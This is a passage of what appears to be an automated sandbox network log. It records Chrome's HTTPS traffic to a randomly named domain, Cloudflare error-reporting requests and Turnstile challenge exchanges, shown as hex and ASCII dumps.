2024-04-23 19:53:42 UTC	382	IN	Data Raw: 70 78 55 6b 6f 37 66 58 70 58 56 48 56 61 68 6b 4e 30 69 47 56 49 67 59 5a 36 62 47 39 4a 6b 6f 42 66 63 6f 74 30 63 49 6d 49 6c 58 65 54 6d 5a 43 43 63 33 65 46 66 4a 70 34 63 34 64 6f 6e 71 4f 41 6c 36 39 74 6a 4a 79 41 74 4a 2b 48 6c 4a 6d 76 73 5a 42 33 6c 37 53 34 6c 33 2f 41 75 5a 53 47 73 38 4f 63 75 4c 76 46 6c 63 44 41 69 4c 36 64 30 4a 53 65 6b 35 47 69 73 37 66 46 33 61 72 4c 77 4b 6a 64 74 5a 57 38 74 4b 2f 66 32 65 6e 72 77 4f 48 65 37 38 54 51 37 61 6e 74 39 63 2b 79 73 74 6a 55 2b 73 2b 33 37 75 72 49 74 74 7a 4d 31 4d 33 32 33 4e 58 57 35 4f 54 58 42 66 37 41 34 41 7a 73 41 39 73 57 42 78 50 73 7a 2f 51 62 38 66 77 50 43 2b 67 4f 2f 4f 7a 31 46 42 66 38 39 42 30 49 35 53 6f 71 4a 2f 72 39 4b 65 7a 72 48 41 4d 75 45 75 30 6a 4e 78 55 4c 4e Data Ascii: pxUko7fXpXVHVahkN0iGVIgYZ6bG9JkoBfcot0cImIlXeTmZCCc3eFfJp4c4donqOAl69tjJyAtJ+HlJmvsZB3l7S4l3/AuZSGs8OcuLvFlcDAiL6d0JSek5Gis7fF3arLwKjdtZW8tK/f2enrwOHe78TQ7ant9c+ystjU+s+37urIttzM1M323NXW5OTXBf7A4AzsA9sWBxPsz/Qb8fwPC+gO/Oz1FBf89B0I5SoqJ/r9KezrHAMuEu0jNxULN
2024-04-23 19:53:42 UTC	1369	IN	Data Raw: 31 30 37 38 0d 0a 71 61 64 58 79 48 62 48 61 4d 6b 48 64 68 6f 5a 42 6a 69 6f 53 61 5a 57 6c 67 6e 35 42 37 66 34 2b 71 6f 4c 4b 32 67 58 53 52 6d 72 4b 77 74 33 32 39 69 6e 72 41 65 36 36 36 6b 6e 36 59 75 36 43 67 6c 73 57 65 6d 59 36 69 72 70 47 6d 78 72 69 56 6f 73 71 36 75 72 62 4e 76 37 37 51 7a 38 54 59 31 64 54 44 6f 4e 6a 58 79 71 54 73 32 39 44 6f 75 74 72 55 76 66 4c 53 36 74 6a 73 2b 4d 62 72 78 2b 7a 6e 75 39 72 31 41 4f 48 7a 41 73 4c 70 32 63 66 38 31 38 33 6e 78 75 54 4e 78 4d 2f 4b 34 65 63 48 7a 2f 4d 58 46 52 67 55 36 79 45 4e 41 66 54 61 2f 74 77 6c 2f 65 67 6f 41 53 77 4b 2f 75 73 6d 2b 69 48 70 44 75 77 6c 4c 69 41 56 38 53 6b 32 42 53 34 2f 43 54 34 54 48 79 45 68 4f 42 45 35 50 54 34 37 43 67 52 41 47 55 63 66 52 6b 4d 64 4d 55 67 Data Ascii: 1078qadXyHbHaMkHdhoZBjioSaZWlgn5B7f4+qoLK2gXSRmrKwt329inrAe666kn6Yu6CglsWemY6irpGmxriVosq6urbNv77Qz8TY1dTDoNjXyqTs29DoutrUvfLS6tjs+Mbrx+znu9r1AOHzAsLp2cf8183nxuTNxM/K4ecHz/MXFRgU6yENAfTa/twl/egoASwK/usm+iHpDuwlLiAV8Sk2BS4/CT4THyEhOBE5PT47CgRAGUcfRkMdMUg
2024-04-23 19:53:42 UTC	1369	IN	Data Raw: 6f 65 67 64 58 69 4e 59 59 36 6d 65 56 35 39 71 6f 64 6c 68 35 35 72 71 4b 36 41 72 4b 69 76 72 6f 6c 74 63 5a 4b 45 68 48 61 37 70 33 6c 33 6d 72 53 36 77 38 53 47 77 37 2b 4a 71 63 61 44 79 38 71 50 70 6f 75 66 70 73 37 51 6f 38 4b 33 30 4b 71 6e 74 72 72 49 30 4d 6a 53 30 4d 76 41 33 38 4c 65 79 4b 66 4b 77 38 69 37 72 72 2f 46 7a 72 4c 4a 36 65 76 4d 7a 4f 6e 7a 31 63 2f 58 79 62 79 31 37 2b 43 36 38 66 58 57 34 64 4c 45 34 4f 50 7a 31 67 33 34 2f 64 38 4f 33 77 49 4a 44 2b 49 47 44 2b 37 5a 42 64 58 50 46 64 76 63 47 2f 6a 63 33 74 33 6c 46 65 58 6d 49 79 6a 6e 37 41 73 65 47 68 30 48 42 6a 48 31 37 51 54 34 4a 7a 55 74 43 66 30 62 46 53 34 53 45 68 63 45 2b 79 4e 44 50 55 73 2b 50 54 6b 76 47 67 6b 38 52 7a 39 4c 48 6a 4a 47 51 43 51 6e 4a 31 55 33 Data Ascii: oegdXiNYY6meV59qodlh55rqK6ArKivroltcZKEhHa7p3l3mrS6w8SGw7+JqcaDy8qPpoufps7Qo8K30KqntrrI0MjS0MvA38LeyKfKw8i7rr/FzrLJ6evMzOnz1c/Xyby17+C68fXW4dLE4OPz1g34/d8O3wIJD+IGD+7ZBdXPFdvcG/jc3t3lFeXmIyjn7AseGh0HBjH17QT4JzUtCf0bFS4SEhcE+yNDPUs+PTkvGgk8Rz9LHjJGQCQnJ1U3
2024-04-23 19:53:42 UTC	1369	IN	Data Raw: 2b 67 63 5a 5a 37 70 6f 4a 72 62 49 53 63 73 47 4a 73 63 62 47 53 73 72 53 45 68 48 65 52 74 37 53 50 63 4c 75 70 77 5a 6d 34 74 6f 47 65 70 48 2b 68 71 70 6d 37 76 36 2b 64 76 37 75 76 6f 4a 33 50 78 4b 54 48 74 63 69 73 31 39 76 53 72 63 2f 62 76 37 4f 74 33 38 4b 35 73 63 58 59 75 64 76 6e 74 73 58 41 7a 61 7a 4d 33 4d 33 70 31 62 6a 79 36 74 69 38 38 72 7a 75 74 76 37 54 31 38 2f 64 7a 39 55 48 78 39 54 6d 78 75 76 48 7a 41 72 50 45 4d 6b 52 39 76 4c 79 34 51 6a 61 36 74 6e 36 39 65 6a 66 45 50 73 52 38 75 37 38 42 2f 54 68 4a 68 54 36 42 78 6b 51 49 7a 45 49 43 7a 45 65 38 54 4d 6d 45 51 66 30 4d 53 72 31 38 52 67 43 52 45 55 2b 49 79 63 39 48 51 4d 34 50 44 30 4e 53 51 5a 4c 49 53 55 55 50 30 77 67 49 45 59 79 4a 46 67 59 4e 46 67 76 57 52 78 4f 50 Data Ascii: +gcZZ7poJrbIScsGJscbGSsrSEhHeRt7SPcLupwZm4toGepH+hqpm7v6+dv7uvoJ3PxKTHtcis19vSrc/bv7Ot38K5scXYudvntsXAzazM3M3p1bjy6ti88rzutv7T18/dz9UHx9TmxuvHzArPEMkR9vLy4Qja6tn69ejfEPsR8u78B/ThJhT6BxkQIzEICzEe8TMmEQf0MSr18RgCREU+Iyc9HQM4PD0NSQZLISUUP0wgIEYyJFgYNFgvWRxOP
2024-04-23 19:53:42 UTC	117	IN	Data Raw: 45 6f 61 57 4e 71 47 4b 46 5a 4b 2b 6e 62 71 4f 49 6f 4a 70 35 6c 59 79 2b 66 58 71 2b 6c 4a 6c 36 6d 70 57 6d 6b 72 35 2f 68 34 65 4d 74 72 61 47 6f 37 2f 46 68 61 6d 39 6c 71 61 35 6d 5a 65 78 30 64 6e 66 76 4d 48 4b 73 72 4c 65 77 72 62 48 76 37 4c 56 6f 71 53 2b 77 36 66 64 6f 39 72 53 36 38 72 32 35 73 4c 71 39 62 4f 34 74 76 33 36 39 64 0d 0a Data Ascii: EoaWNqGKFZK+nbqOIoJp5lYy+fXq+lJl6mpWmkr5/h4eMtraGo7/Fham9lqa5mZex0dnfvMHKsrLewrbHv7LVoqS+w6fdo9rS68r25sLq9bO4tv369d
2024-04-23 19:53:42 UTC	1369	IN	Data Raw: 31 30 37 61 0d 0a 33 35 30 76 58 30 35 4f 48 37 2f 66 6e 69 32 63 6e 66 2b 65 73 54 7a 76 50 74 30 51 50 70 43 4f 6b 49 38 42 76 55 38 2b 37 67 47 78 45 46 37 2f 33 34 2b 74 38 4b 49 2f 33 6c 44 65 73 48 45 53 38 4e 2b 77 63 66 42 44 4d 4d 4a 76 49 34 4e 77 30 50 50 44 73 32 4f 77 52 46 42 52 59 6a 49 68 49 32 4f 78 6f 62 50 7a 45 65 4c 78 41 77 53 46 45 54 4e 52 46 52 50 44 30 71 53 54 77 38 4d 46 31 5a 51 7a 4d 2f 52 57 59 34 4f 7a 70 59 4b 45 31 68 53 45 68 69 63 53 6f 39 52 32 6c 5a 57 44 6c 47 61 47 39 63 65 57 42 79 63 46 78 51 63 7a 31 67 50 31 4a 34 64 6c 69 4a 6a 45 31 2f 67 6d 4e 69 69 6c 4b 47 6a 70 52 59 68 45 32 4d 69 6d 6c 57 65 49 78 67 65 5a 4b 62 57 46 2b 6b 6b 33 5a 64 6d 59 53 58 6b 48 2b 76 66 59 36 6d 6a 61 39 77 69 37 69 55 6d 61 53 Data Ascii: 107a350vX05OH7/fni2cnf+esTzvPt0QPpCOkI8BvU8+7gGxEF7/34+t8KI/3lDesHES8N+wcfBDMMJvI4Nw0PPDs2OwRFBRYjIhI2OxobPzEeLxAwSFETNRFRPD0qSTw8MF1ZQzM/RWY4OzpYKE1hSEhicSo9R2lZWDlGaG9ceWBycFxQcz1gP1J4dliJjE1/gmNiilKGjpRYhE2MimlWeIxgeZKbWF+kk3ZdmYSXkH+vfY6mja9wi7iUmaS
2024-04-23 19:53:42 UTC	1369	IN	Data Raw: 50 37 4f 43 4e 4c 55 2b 41 76 7a 41 67 50 41 44 38 59 44 34 4d 73 51 30 50 34 41 44 4f 72 31 39 52 44 36 38 76 33 59 44 41 77 45 4a 50 33 6d 2f 42 34 43 48 52 33 69 47 4f 51 6a 48 43 4d 69 4c 51 55 32 43 53 6b 4b 38 77 51 78 2b 42 41 71 4d 6a 6a 36 4f 54 6f 6c 52 6b 63 34 41 7a 6f 49 43 67 73 41 53 68 73 6d 44 54 73 77 49 6b 55 71 4f 52 45 55 4c 53 77 73 4b 43 39 68 4e 47 4a 56 57 30 5a 6d 57 46 78 66 49 32 4a 74 56 79 64 58 61 6a 41 39 58 32 31 6e 55 31 64 74 56 47 56 37 62 6d 74 6e 63 7a 68 58 61 32 4a 44 52 57 56 31 51 44 74 56 61 6f 79 49 5a 59 4e 59 5a 34 52 51 66 59 61 56 6c 59 56 75 6b 34 4e 6f 5a 70 4a 72 67 5a 52 2f 69 34 2b 59 67 34 61 49 64 71 57 62 71 6e 79 48 66 70 74 73 6a 47 2b 74 6e 71 56 7a 6f 5a 69 70 70 5a 69 77 6a 4a 61 5a 65 49 79 6b Data Ascii: P7OCNLU+AvzAgPAD8YD4MsQ0P4ADOr19RD68v3YDAwEJP3m/B4CHR3iGOQjHCMiLQU2CSkK8wQx+BAqMjj6OTolRkc4AzoICgsAShsmDTswIkUqOREULSwsKC9hNGJVW0ZmWFxfI2JtVydXajA9X21nU1dtVGV7bmtnczhXa2JDRWV1QDtVaoyIZYNYZ4RQfYaVlYVuk4NoZpJrgZR/i4+Yg4aIdqWbqnyHfptsjG+tnqVzoZippZiwjJaZeIyk
2024-04-23 19:53:42 UTC	1369	IN	Data Raw: 67 4c 42 72 38 48 77 63 66 6f 34 66 44 75 37 76 62 72 34 42 41 4b 36 41 34 55 44 75 30 67 2b 51 4c 75 47 66 50 36 38 77 44 62 4a 79 6f 6f 4a 50 72 33 43 4f 7a 39 2b 7a 55 58 38 77 77 49 4b 54 67 39 50 67 34 61 47 30 44 34 4e 45 51 69 41 7a 63 42 4b 66 73 71 49 69 46 46 4f 42 70 46 4a 79 59 54 4e 68 56 41 4b 56 56 48 4a 6c 6c 55 4d 53 39 63 54 56 31 63 5a 46 70 51 4f 6a 78 54 58 43 6c 62 48 79 78 6e 5a 47 74 4d 62 47 6c 57 63 6d 5a 5a 61 6a 70 33 56 58 30 77 56 48 74 69 58 6f 42 69 57 6e 35 79 65 59 70 61 5a 57 78 38 5a 6f 43 4f 53 45 78 4a 63 59 6c 31 54 6f 53 50 56 56 53 4e 56 58 53 53 63 57 70 79 6f 34 52 63 67 6e 53 56 59 49 43 6a 70 59 4a 70 66 33 71 65 71 49 46 71 72 57 69 57 68 4c 57 32 64 72 71 6e 76 33 6d 55 71 36 47 44 74 37 65 2f 78 35 57 2f 71 Data Ascii: gLBr8Hwcfo4fDu7vbr4BAK6A4UDu0g+QLuGfP68wDbJyooJPr3COz9+zUX8wwIKTg9Pg4aG0D4NEQiAzcBKfsqIiFFOBpFJyYTNhVAKVVHJllUMS9cTV1cZFpQOjxTXClbHyxnZGtMbGlWcmZZajp3VX0wVHtiXoBiWn5yeYpaZWx8ZoCOSExJcYl1ToSPVVSNVXSScWpyo4RcgnSVYICjpYJpf3qeqIFqrWiWhLW2drqnv3mUq6GDt7e/x5W/q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49749	35.190.80.1	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:42 UTC	538	OUT	OPTIONS /report/v4?s=HuGAIXqQUHUwoTYEVZ%2FLXVAHfKcrKLZho2oWL0hdPyB1xFXQKec8fDnsXSoBen%2FANSad0as%2Be%2FJL41ZAJLMLZek3%2FbwBkF45GMNcZomG6tN9WvynUFWaQKraFvhQ3A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://o5u7g.zleu9.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:42 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 23 Apr 2024 19:53:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49751	35.190.80.1	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:43 UTC	480	OUT	POST /report/v4?s=HuGAIXqQUHUwoTYEVZ%2FLXVAHfKcrKLZho2oWL0hdPyB1xFXQKec8fDnsXSoBen%2FANSad0as%2Be%2FJL41ZAJLMLZek3%2FbwBkF45GMNcZomG6tN9WvynUFWaQKraFvhQ3A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 428 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:43 UTC	428	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 35 75 37 67 2e 7a 6c 65 75 39 2e 63 6f 6d 2f 4f 35 75 37 47 77 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 33 2e 32 30 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":0,"body":{"elapsed_time":116,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://o5u7g.zleu9.com/O5u7Gw/","sampling_fraction":1.0,"server_ip":"172.67.143.205","status_code":404,"type":"http.error"},"type":"network-error"
2024-04-23 19:53:43 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 23 Apr 2024 19:53:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49752	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:44 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:44 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:53:44 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: s96BWXN1fkdyarEK+Q1MaA==$5wZyfS+WcpK8TsQt6aITpw== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 879066c67d5bb0c3-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:44 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49753	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:44 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/879066af2d254527/1713902022571/cfsO0aDF5k_W65H HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:45 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:45 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 879066c8af5e7bc6-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 43 08 02 00 00 00 72 78 90 57 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR CrxWIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49754	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:45 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/879066af2d254527/1713902022571/cfsO0aDF5k_W65H HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:45 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:45 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 879066cbb94c4519-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 43 08 02 00 00 00 72 78 90 57 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR CrxWIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49755	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:45 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/879066af2d254527/1713902022573/2c54c2e92cd6a1adf7ce103072c3ed1a2e53daac1a2c103e1868b6da0e2a356b/KqKxEDIwFgWsKX_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:45 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 23 Apr 2024 19:53:45 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-23 19:53:45 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4c 46 54 43 36 53 7a 57 6f 61 33 33 7a 68 41 77 63 73 50 74 47 69 35 54 32 71 77 61 4c 42 41 2d 47 47 69 32 32 67 34 71 4e 57 73 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gLFTC6SzWoa33zhAwcsPtGi5T2qwaLBA-GGi22g4qNWsAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-23 19:53:45 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49757	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:46 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 28644 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 783a92b798bfbc6 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:46 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 30 36 36 61 66 32 64 32 35 34 35 32 37 3d 4f 4d 44 6e 69 53 79 45 61 31 49 6f 44 53 78 4d 30 6a 72 41 33 4b 2d 45 6b 71 79 72 6b 52 6e 75 49 6b 38 48 6b 37 6e 53 4d 6b 4a 56 6b 42 53 6b 72 4b 6e 79 71 6b 51 6e 2d 61 72 30 6b 24 6e 62 54 49 79 67 30 6b 30 6c 30 44 4b 6e 6e 79 4a 6b 31 54 6b 46 6b 46 68 79 79 69 41 6b 38 4b 79 46 66 6b 4c 75 63 44 6b 7a 6e 53 45 49 68 39 2d 35 71 6b 35 32 4e 4a 61 35 6b 64 4b 79 6f 6b 24 54 72 4a 79 57 31 6b 6b 41 33 6b 4f 61 6e 57 41 71 4b 79 73 53 35 44 6d 6b 62 32 68 71 24 48 37 6b 4c 33 54 6e 79 41 4b 78 41 69 61 37 79 6e 54 54 6f 44 31 41 38 2d 6f 64 4a 45 57 31 6e 6b 4f 41 4b 6b 4c 58 62 53 49 44 32 6a 6b 41 6d 25 32 62 48 30 30 56 35 58 67 73 53 78 73 31 31 35 4c 4f 51 43 6a 51 45 42 68 6e 6b 52 66 51 Data Ascii: v_879066af2d254527=OMDniSyEa1IoDSxM0jrA3K-EkqyrkRnuIk8Hk7nSMkJVkBSkrKnyqkQn-ar0k$nbTIyg0k0l0DKnnyJk1TkFkFhyyiAk8KyFfkLucDkznSEIh9-5qk52NJa5kdKyok$TrJyW1kkA3kOanWAqKysS5Dmkb2hq$H7kL3TnyAKxAia7ynTToD1A8-odJEW1nkOAKkLXbSID2jkAm%2bH00V5XgsSxs115LOQCjQEBhnkRfQ
2024-04-23 19:53:46 UTC	12260	OUT	Data Raw: 56 79 24 72 6b 72 67 78 58 76 2b 4b 37 6e 62 6b 67 6b 53 4b 79 61 6b 41 6b 35 6b 33 68 35 4d 6b 62 6b 51 4d 30 52 6b 54 6e 6c 41 2d 49 6b 47 6b 41 4b 72 49 6b 66 6b 67 6e 62 62 6b 69 62 53 4b 79 52 79 65 6b 24 4b 30 33 6b 35 6b 4f 4b 62 50 6b 6c 6b 31 6b 79 57 6e 55 54 62 54 72 41 79 75 6b 51 54 79 53 77 35 6b 58 44 53 61 6b 74 4b 67 33 71 31 79 72 6e 49 78 79 4a 6b 56 6b 34 6b 2d 66 6b 49 6e 70 49 4c 67 77 63 6b 72 54 4c 49 4e 72 6e 41 6e 30 32 61 57 6b 45 54 53 31 6b 49 6e 31 6e 6b 41 79 34 6b 30 44 79 6c 79 38 6b 38 54 72 6e 6b 67 6b 70 49 30 49 79 4e 6b 30 44 6b 41 79 66 6b 6f 33 6b 78 79 6c 6e 34 6e 4c 34 79 4a 6b 45 43 7a 52 79 6f 6b 62 45 6b 33 6a 65 4b 75 4b 79 46 79 4d 6e 49 78 79 46 79 46 6b 6c 41 6b 78 79 38 6b 4c 62 2d 33 72 6c 6b 78 54 6b 69 Data Ascii: Vy$rkrgxXv+K7nbkgkSKyakAk5k3h5MkbkQM0RkTnlA-IkGkAKrIkfkgnbbkibSKyRyek$K03k5kOKbPklk1kyWnUTbTrAyukQTySw5kXDSaktKg3q1yrnIxyJkVk4k-fkInpILgwckrTLINrnAn02aWkETS1kIn1nkAy4k0Dyly8k8TrnkgkpI0IyNk0DkAyfko3kxyln4nL4yJkECzRyokbEk3jeKuKyFyMnIxyFyFklAkxy8kLb-3rlkxTki
2024-04-23 19:53:46 UTC	350	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:46 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: R8n03rJOkNS10juQLh5sthSNl0Q1JD35e5lCmxYqj2FOdCvV6hoZeSxHbqpYL/O4$WajHUvcNeg4PpTw0NrH7Ww== vary: accept-encoding Server: cloudflare CF-RAY: 879066cfb88244fb-ATL alt-svc: h3=":443"; ma=86400
